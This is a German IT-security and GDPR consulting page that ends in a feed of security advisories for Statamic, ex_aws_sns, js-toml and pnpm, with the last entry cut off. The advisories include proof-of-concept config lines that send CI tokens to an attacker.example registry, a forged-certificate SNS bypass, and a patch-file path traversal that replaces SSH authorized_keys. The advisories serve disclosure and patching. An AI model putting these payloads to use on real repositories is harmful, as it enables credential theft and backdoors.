Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.
Wir unterstützen Sie gerne! »

  Unsere Leistungen

Datenschutzberatung durch geprüften DSB
Umsetzung von IT-Richtlinien / Gesetzen
Analyse & Beratung zur IT-Sicherheit
Erstellung von Dokumentationen



Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
Risiko / Label Veröffentlichung
Risiko 2 / 10 CVE-2026-54244 vor 1 Stunde(n)
### Impact The Live Preview endpoint for existing entries and terms only checked view authorization, but it accepts and renders caller-supplied field values. A Control Panel user with view but not edit permission could therefore submit content they were not authorized to author and generate a shareable Live Preview URL rendering it. ### Patches This has been fixed in 5.74.0 and 6.20.3.
Risiko 5 / 10 CVE-2026-54243 vor 1 Stunde(n)
### Impact Form submission values were not neutralized for spreadsheet formula characters when exported to CSV. A submission containing a value beginning with a formula trigger character (e.g.  = ,  + ,  - ,  @ ) could be interpreted as a live formula when a Control Panel user opens the export in a spreadsheet application. Form submissions can come from unauthenticated front-end visitors, so the malicious value can be supplied by an anonymous user and is later triggered by an editor opening the export. Exploitation affects the spreadsheet application used to open the export, not the Statamic application or server; the data at risk is the form submission data the exporting user is already authorized to view. ### Patches This has been fixed in 5.73.24 and 6.20.1.
Risiko 5 / 10 CVE-2026-54242 vor 1 Stunde(n)
### Impact The Glide image proxy's URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname's DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses — including loopback, private network, and cloud metadata endpoints. This affects sites that pass user-supplied URLs to Glide. ### Patches This has been fixed in 5.73.24 and 6.20.1.
Risiko 7.5 / 10 GHSA-8jgf-23q5-x7xx vor 1 Stunde(n)
### Summary `ExAws.SNS.verify_message/1` fetches the signing certificate from the `SigningCertURL` field of the incoming SNS message without validating that the URL uses HTTPS or that its host is an AWS-owned SNS certificate domain. An unauthenticated attacker who can POST to any endpoint that calls `verify_message/1` can supply an attacker-controlled `SigningCertURL`, sign a forged SNS message with their own RSA key, and cause the function to return `:ok`, completely bypassing SNS signature verification. ### Details In `lib/ex_aws/sns.ex` (lines 475–483), `verify_message/1` performs three checks: `validate_message_params/1` (confirms required fields are present), `validate_signature_version/1` (confirms `SignatureVersion == "1"`), then signature verification. The signature step calls `ExAws.SNS.PublicKeyCache.get(message["SigningCertURL"])` and passes the result to `:public_key.verify/4`. Neither `validate_message_params/1` nor any other step checks that `SigningCertURL` is an HTTPS URL or that the hostname matches the expected pattern (e.g. `sns..amazonaws.com`). `PublicKeyCache.get/1` in `lib/ex_aws/sns/public_key_cache.ex` fetches whatever URL is provided and caches the certificate. The RSA signature then verifies against the attacker's own public key, and `verify_message/1` returns `:ok`. ### PoC 1. Generate an RSA keypair and host the DER/PEM public certificate at any URL reachable from the target server (e.g. `http://attacker.example/cert.pem`). 2. Build a forged `Notification` payload with an arbitrary `TopicArn` and `Message`, compute the canonical string-to-sign per the SNS spec, and sign it with the attacker private key. 3. Set `SigningCertURL` to the attacker URL and `Signature` to the base64-encoded signature. 4. POST the forged payload to any SNS webhook endpoint that calls `ExAws.SNS.verify_message/1`. 5. The function returns `:ok`; the application treats the message as authentic. ### Configurations The application must expose an HTTP endpoint that calls `ExAws.SNS.verify_message/1` on incoming request bodies (the standard SNS webhook pattern). ### Impact Complete SNS signature authentication bypass. Affects `ex_aws_sns` from 2.0.1 through 2.3.4. Consequences include spoofing arbitrary `Notification` payloads, auto-confirming attacker-controlled `SubscribeURL` values to hijack topic delivery, and spoofing `UnsubscribeConfirmation` to disrupt legitimate subscriptions. No authentication or special configuration on the attacker side is required. CVSS v4.0: **8.7 (HIGH)**. ## Resources * Introduction commit: https://github.com/ex-aws/ex_aws_sns/commit/a7ec21880943f4dac1d59bda557db0ffcd2b61fa * Patch commit: https://github.com/ex-aws/ex_aws_sns/commit/1853d280b152d10384a1e21a22cf22152a60be48
Risiko 5 / 10 CVE-2026-50029 vor 1 Stunde(n)
### Summary `js-toml`'s interpreter checks whether a key already exists in a parser-built container with `if (object[key])` instead of `if (key in object)`. When the prior value is a falsy primitive — `false`, `0`, `0n`, `0.0`, `-0`, or `""` — the duplicate-key branch is skipped and the value is silently overwritten by a later sub-table, dotted-key sub-table, or array-of-tables sharing the same name. Per the TOML 1.0.0 spec ("Defining a key multiple times is invalid"; "You cannot define any key or table more than once"), this should be a parse error. The result is **structural type confusion of attacker-named keys** in the value returned by `load()`. A boolean-typed `false` (or numeric `0`) becomes a truthy object. Host applications that gate behavior on `if (config.flag)`, `if (!user.banned)`, `if (config.allowDelete)`, or `if (config.publicMode)` will silently take the truthy branch. This is **distinct** from [GHSA-65fc-cr5f-v7r2](https://github.com/sunnyadn/js-toml/security/advisories/GHSA-65fc-cr5f-v7r2) (the 1.0.2 prototype-pollution fix). `Object.prototype` is **not** polluted. The `Object.create(null)` mitigation from 1.0.2 is intact; the bug here is in the duplicate-key state machine, not in container construction. ### Details Two truthy checks are wrong: `src/load/interpreter.ts:214` — `Interpreter.tryCreatingObject` ```js if (object[key]) { // falsy primitives slip through // duplicate-key logic } else { object[key] = createSafeObject(); // silently overwrites the prior falsy value ... } ``` `src/load/interpreter.ts:278` — `Interpreter.getOrCreateArray` ```js if (object[first] && !Array.isArray(object[first])) { // same flaw throw new DuplicateKeyError(); } object[first] = object[first] || []; // overwrites the prior falsy value ``` Both should use the `in` operator. Containers are created via `Object.create(null)`, so `in` is unambiguous (no inherited keys to worry about). The bug is reachable through every parent-walking interpreter path: - `assignValue` — dotted keys in `key = value` - `createTable` — `[stdTable]` headers - `getOrCreateArray` — `[[arrayOfTables]]` headers ### PoC ```toml isAdmin = false [isAdmin] forced = "yes" ``` ```js import { load } from 'js-toml'; const config = load(` isAdmin = false [isAdmin] forced = "yes" `); console.log(JSON.stringify(config)); // {"isAdmin":{"forced":"yes"}} console.log(config.isAdmin ? 'BYPASS' : 'safe'); // BYPASS if (config.isAdmin) { // attacker reaches admin-only code } ``` ### Impact Spec-violating input acceptance leading to structural type confusion. (CWE-697) ### Suggested fix in `src/load/interpreter.ts` ```diff export class Interpreter extends BaseCstVisitor { ignoreImplicitDeclared, ignoreExplicitDeclared ) { - if (object[key]) { + if (key in object) { if ( !isPlainObject(object[key]) || (!ignoreExplicitDeclared && ``` ```diff export class Interpreter extends BaseCstVisitor { return this.getOrCreateArray(keys, object[first], idx + 1); } - if (object[first] && !Array.isArray(object[first])) { + if (first in object && !Array.isArray(object[first])) { throw new DuplicateKeyError(); } object[first] = object[first] || []; ```
Risiko 5 / 10 CVE-2026-55180 vor 1 Tag(en)
## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm config/env replacement and registry auth` - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `rust:pacquet` - CWE IDs: `CWE-201`, `CWE-200`, `CWE-522` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Project `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header. ### Files And Tests To Review - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` - `.changeset/sharp-registry-env-placeholders.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check cargo fmt --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`. # CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run ## Advisory Details ### Summary pnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. ### Details The vulnerable TypeScript pnpm path was: - `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values. - `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings. - `config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`. - `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry. - `network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run. The pacquet parity path was: - `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values. - `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders. - `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches. ### PoC Repository `.npmrc` URL-path exfiltration: ```ini registry=https://attacker.example/${CI_JOB_TOKEN}/ ``` Repository `.npmrc` auth-header exfiltration: ```ini registry=https://attacker.example/ //attacker.example/:_authToken=${CI_JOB_TOKEN} ``` Repository `pnpm-workspace.yaml` URL-path exfiltration: ```yaml registries: default: https://attacker.example/${CI_JOB_TOKEN}/ namedRegistries: work: https://attacker.example/${CI_JOB_TOKEN}/npm/ ``` Exploit method: 1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as `https://attacker.example//` or `Authorization: Bearer ` to the attacker-controlled endpoint. Validation PoC: The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values. ### Impact A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names. ## Affected Products Ecosystem: npm Package name: `pnpm`, `@pnpm/config.reader`; pacquet Rust port Affected versions: current main before this patch, when project `.npmrc` or `pnpm-workspace.yaml` contains environment placeholders in registry request destinations or project `.npmrc` contains environment placeholders in registry credential values. Patched versions: pending release containing this patch. ## Severity Severity before patch: High Vector string before patch: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Score before patch: 7.4 Severity after patch: None Vector string after patch: not vulnerable after patch Score after patch: 0.0 Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands. ## Weaknesses CWE-201: Insertion of Sensitive Information Into Sent Data CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CWE-522: Insufficiently Protected Credentials ## Patch The patch makes environment expansion trust-aware for registry requests: - Project `.npmrc` no longer expands `${...}` in `registry`, `@scope:registry`, proxy URL values, URL-scoped keys such as `//host/${SECRET}/:_authToken`, or registry credential values such as `//host/:_authToken=${SECRET}` and `_authToken=${SECRET}`. - User `.npmrc`, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - `pnpm-workspace.yaml` no longer expands `${...}` in `registry`, `registries`, or `namedRegistries` URL values. - Trusted user-level auth values such as `//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}` still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the `.npmrc` is supplied as user config. - Pacquet mirrors the same boundary with `from_project_ini()` for project `.npmrc` and workspace registry filtering. Changed files: - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` Changeset: - `.changeset/sharp-registry-env-placeholders.md` Pacquet parity: Ported in the same patch. Pacquet dependency-management commands now parse project `.npmrc` with request-destination and credential-value env expansion disabled, and drop workspace registry values containing `${...}` placeholders. ## Verification Post-patch validation: The PoC ran: ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check ``` Results: - PoC pre-patch model showed `cand122-ci-job-token` in both a request URL and a bearer auth header. - TypeScript build for `config.reader`: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project `.npmrc` default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user `.npmrc` registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - `cargo fmt --check`: passed. - Focused pacquet tests: 6 passed, covering project `.npmrc` registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted `.npmrc` registry expansion, and workspace YAML denial. - `git diff --check`: passed. ## CVSS Reassessment The initial scan score used a repository-code-execution vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (8.8 High) The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` Corrected vulnerable score: 7.4 High. Final score after patch: 0.0.
Risiko 7.5 / 10 CVE-2026-50015 vor 1 Tag(en)
## Summary pnpm's patch application pipeline (`@pnpm/patch-package`) performs no path validation on file paths extracted from `.patch` files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during `pnpm install`, as the user running the install. The `diff --git` header paths containing `../../` sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers. ## Vulnerability Details During `pnpm install`, when a `patchedDependencies` entry is present in `pnpm-workspace.yaml`, pnpm reads the referenced `.patch` file and applies it via the embedded `@pnpm/patch-package` library. The `applyPatchToDir` function at `patching/apply-patch/src/index.ts:12-13` calls `process.chdir(opts.patchedDir)`, setting the working directory to the installed package location deep inside `node_modules/.pnpm/`. The patch parser at `@pnpm/patch-package/dist/patch/parse.js:88` extracts file paths from `diff --git a/(.*?) b/(.*?)` headers using a regex with no path sanitization. The `executeEffects` function in `apply.js` then operates on these unsanitized paths: **File write** (`apply.js:35-49`): ```javascript case 'file creation': { const eff = effect fs.ensureDirSync(dirname(eff.path)) fs.writeFileSync(eff.path, fileContents, { mode: eff.mode }) break } ``` **File delete** (`apply.js:13-22`): ```javascript case 'file deletion': { const eff = effect // TODO: integrity checks if (!opts.dryRun) { fs.unlinkSync(eff.path) } break } ``` A path like `../../../../../../../../../../home/user/.ssh/authorized_keys` in the patch header traverses out of the package directory to an arbitrary location. ## Proof of Concept ```bash # Write variant: bash autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh # Result: PASS -- /tmp/vuln6_pwned created with attacker-controlled content # Delete variant: bash autofyn_audit/exploits/vuln7_patch_traversal_delete/exploit.sh # Result: PASS -- /tmp/vuln7_target deleted by malicious patch # Combined chain (delete + replace SSH authorized_keys): bash autofyn_audit/exploits/chain2_patch_ssh_backdoor/exploit.sh # Result: PASS -- authorized_keys replaced with attacker's public key ``` ## Impact Arbitrary file write and delete as the user running `pnpm install`, limited to paths writable by that user. An attacker who submits a PR adding a `.patch` file and `patchedDependencies` config can target SSH authorized_keys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than `package.json` changes because the `../` traversal sequences are in `diff --git` headers that look like patch metadata. ## Suggested Remediation Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via `path.resolve` + prefix check. Alternatively, sanitize at parse time by rejecting paths containing `..` components in `parse.js`. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh)
Risiko 5 / 10 CVE-2026-50017 vor 1 Tag(en)
## Summary pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file. In the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header. This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used. ## Affected Behavior Observed Observed affected: - pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay. Control: - npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry. ## Threat Model Victim: - developer or CI job with user-level npm registry credentials configured; - runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository. Attacker: - controls repository-local package manager configuration, such as `.npmrc`; - can set `registry=` to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case. Boundary: Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry. ## Minimal Reproduction The reproducer below starts two loopback HTTP registries: - a trusted registry URL used in the isolated user `.npmrc`; - an attacker registry URL used in the repository-local `.npmrc`. The isolated user `.npmrc` contains: ```ini registry= _authToken=PR166_FAKE_REGISTRY_TOKEN ``` The repository-local `.npmrc` contains: ```ini registry= ``` The repository `package.json` depends on a toy package served by the loopback registry. The script then runs: ```text pnpm install --ignore-scripts npm install --ignore-scripts ``` ## Expected Safe Behavior pnpm should not send the user-level unscoped `_authToken` to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry. ## Observed Behavior pnpm `10.33.2`, pnpm `11.1.3`, and pnpm `11.2.1` send: ```http Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN ``` to the attacker loopback registry during install. npm `10.9.7` rejects the same config and sends no `Authorization` header. ## Security Impact This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution. ## Non-Claims This report does not claim: - remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line. ## Source-Level Notes In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local `.npmrc` can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice. ## Suggested Fix Direction The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials. This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth. ## Runnable Reproducer Save the following as `repro.py` and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set `PR166_PNPM_SPEC`, for example 